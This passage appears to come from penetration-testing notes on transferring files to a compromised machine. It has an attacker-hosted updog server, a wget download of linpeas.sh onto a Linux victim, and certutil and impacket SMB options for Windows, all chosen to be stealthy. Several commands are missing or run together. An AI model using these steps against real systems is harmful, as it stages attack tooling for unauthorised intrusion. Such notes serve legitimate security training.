They are chosen to be the locations for file transfer because they are world-readable/writable/executable and more stealthy than /tmp and C:\Windows\Temp.
Linux
On attack machine, host a server:
updog
On victim machine, download with wget:
wgethttp://<local_ip>/linpeas.sh
Windows
certutil
On attack machine, host a server:
updog
On victim machine, download with certutil:
impacket-smbserver
If certutil is not on the compromised Windows machine, we can transfer files with SMB server instead.
On Kali, create a SMB server:
Here ret2basic is the name of the share and /usr/share/windows-resources/binaries/ is the directory that I want to host. On the compromised Windows machine: